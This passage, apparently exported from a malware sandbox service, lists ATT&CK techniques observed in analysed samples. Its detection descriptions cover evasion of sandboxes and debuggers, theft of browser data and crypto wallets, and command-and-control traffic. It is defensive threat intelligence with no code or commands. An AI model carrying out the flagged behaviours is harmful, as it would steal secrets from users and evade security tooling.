Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Queries the user identity associated with the current process token"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"malicious","value":"Tries to gather information about running processes on a system"},{"type":"informative","value":"Contains ability to retrieve/open a process"},{"type":"informative","value":"Contains ability to enumerate running processes using Tasklist"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns many processes"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API used to retrieve process information"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve logical drive information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Able to query volume/memory size (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to open an existing named mutex object"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Able to retrieve geographical location information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Contains ability to retrieve state data for the computer (API string)"},{"type":"informative","value":"Contains ability to retrieve system configuration"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Able to retrieve Windows product key"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to gather system information (.NET)"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Retrieves specified items using PowerShell"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Attempts to get system information using PowerShell"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to enumerate files inside a directory"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Tries to access Powershell profile file"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains references to file movement (imports API)"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Touches files"},{"type":"suspicious","value":"Reads configuration files (.ini files)"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"malicious","value":"Checks for files associated with bitcoin mining software"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Detected directory listing command"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Able to retrieve machine time (API string)"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Contains ability to retrieve machine timezone (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"},{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate Windows drive types"},{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"informative","value":"Able to determine NetBIOS or DNS name associated with the local computer"},{"type":"informative","value":"Contains ability to retrieve configuration of a workstation (API string)"},{"type":"informative","value":"Able to retrieve name of the domain controller for the current domain (API string)"},{"type":"informative","value":"Contains ability to retrieve network parameters of a computer (API string)"},{"type":"informative","value":"Detected Suricata Alert - External IP Lookup"},{"type":"suspicious","value":"Attempts to identify external IP address"},{"type":"informative","value":"Contains ability to free the memory used by network management functions (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Network Connections Discovery","attack_id":"T1049","attack_id_wiki":"https://attack.mitre.org/techniques/T1049","identifiers":[{"type":"malicious","value":"Maps a network share location"},{"type":"informative","value":"Contains ability to enumerate network resources (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Calls an API typically used to enumerate active windows"},{"type":"informative","value":"Calls an API possibly used to retrieve a handle to the foreground window"},{"type":"informative","value":"Contains ability to find open windows (API string)"},{"type":"informative","value":"Calls an API typically used to get active windows title"},{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Account Discovery","attack_id":"T1087","attack_id_wiki":"https://attack.mitre.org/techniques/T1087","identifiers":[{"type":"informative","value":"Contains ability to retrieve SID for the specified name (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Network Share Discovery","attack_id":"T1135","attack_id_wiki":"https://attack.mitre.org/techniques/T1135","identifiers":[{"type":"informative","value":"Contains ability to enumerate system network resources (API string)"},{"type":"informative","value":"Contains ability to query information about shared network resources (API string)"},{"type":"informative","value":"Able to access Windows networking-related API (String)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"tactic":"Discovery","technique":"Local Account","attack_id":"T1087.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1087/001","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about user accounts on a server (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Able to enumerate permission groups in the domain"},{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Permission Groups Discovery","attack_id":"T1069","attack_id_wiki":"https://attack.mitre.org/techniques/T1069","identifiers":[{"type":"informative","value":"Contains ability to enumerate user groups or their members (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Discovery","technique":"Domain Trust Discovery","attack_id":"T1482","attack_id_wiki":"https://attack.mitre.org/techniques/T1482","identifiers":[{"type":"informative","value":"Contains ability to retrieve Domain Trust data (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","identifiers":[{"type":"suspicious","value":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"type":"informative","value":"Loads the debugger/analysis tool module"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Browser Information Discovery","attack_id":"T1217","attack_id_wiki":"https://attack.mitre.org/techniques/T1217","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Discovery","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Triggers a burst of requests to the same API (API Hammering)"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Able to identify sandbox environment running process"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Contains ability to move file or directory (API string)"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Local Data Staging","attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Able to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Archive via Library","attack_id":"T1560.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/002","identifiers":[{"type":"informative","value":"Able to compress/decompress content at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Local Email Collection","attack_id":"T1114.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1114/001","identifiers":[{"type":"informative","value":"Found string that contains outlook file extensions .ost/.pst"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Email Collection","attack_id":"T1114","attack_id_wiki":"https://attack.mitre.org/techniques/T1114","identifiers":[{"type":"informative","value":"Found E-Mail address in binary/memory"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Data from Information Repositories","attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"},{"type":"informative","value":"Contains SQL queries"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"informative","value":"Writes files in a temp directory"},{"type":"malicious","value":"Tries to steal browser sensitive information (file access)"},{"type":"malicious","value":"Tries to steal Crypto currency wallets information (file access)"},{"type":"malicious","value":"Tries to steal crypto wallet extension (file access)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Archive Collected Data","attack_id":"T1560","attack_id_wiki":"https://attack.mitre.org/techniques/T1560","identifiers":[{"type":"suspicious","value":"Writes archive files"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Automated Collection","attack_id":"T1119","attack_id_wiki":"https://attack.mitre.org/techniques/T1119","identifiers":[{"type":"informative","value":"Shows ability to send encrypted data to the internet"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Archive via Utility","attack_id":"T1560.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/001","identifiers":[{"type":"informative","value":"Possible archive activity detected"},{"type":"informative","value":"YARA signature match – WinRAR file detected"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Data Staged","attack_id":"T1074","attack_id_wiki":"https://attack.mitre.org/techniques/T1074","identifiers":[{"type":"informative","value":"Able to aggregate collected data, possibly for exfiltration"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Collection","technique":"Archive via Custom Method","attack_id":"T1560.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1560/003","identifiers":[{"type":"informative","value":"Drops file with high entropy, indicating encryption/obfuscation"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"suspicious","value":"Drops executable files"},{"type":"informative","value":"Contains ability to write files (API string)"},{"type":"informative","value":"Drops executable files inside temp directory"},{"type":"informative","value":"Dropped files"},{"type":"informative","value":"Drops temp files"},{"type":"suspicious","value":"Writes a PE file header to disc"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Contains references to network communication API (string)"},{"type":"informative","value":"Contains ability to communicate with network (API string)"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Found potential URLs in memory dumps"},{"type":"informative","value":"Contacts server"},{"type":"informative","value":"Contacts domains"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Web Service","attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Encrypted Channel","attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Makes HTTPS connections using secure TLS/SSL version"},{"type":"informative","value":"Able to use Microsoft's Enhanced Cryptographic Provider"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Asymmetric Cryptography","attack_id":"T1573.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/002","identifiers":[{"type":"informative","value":"Contains ability to perform encryption/decryption using RSA algorithm"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Communicates with HTTP web server (GET/POST requests)"},{"type":"informative","value":"Tries to GET non-existent files from a web server"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"GETs files from a web server (HTTPS)"},{"type":"informative","value":"User Agent string indicates scripted web access"},{"type":"informative","value":"GETs files from a web server (PE files)"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"One-Way Communication","attack_id":"T1102.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/003","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Dead Drop Resolver","attack_id":"T1102.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1102/001","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"tactic":"Command and Control","technique":"Symmetric 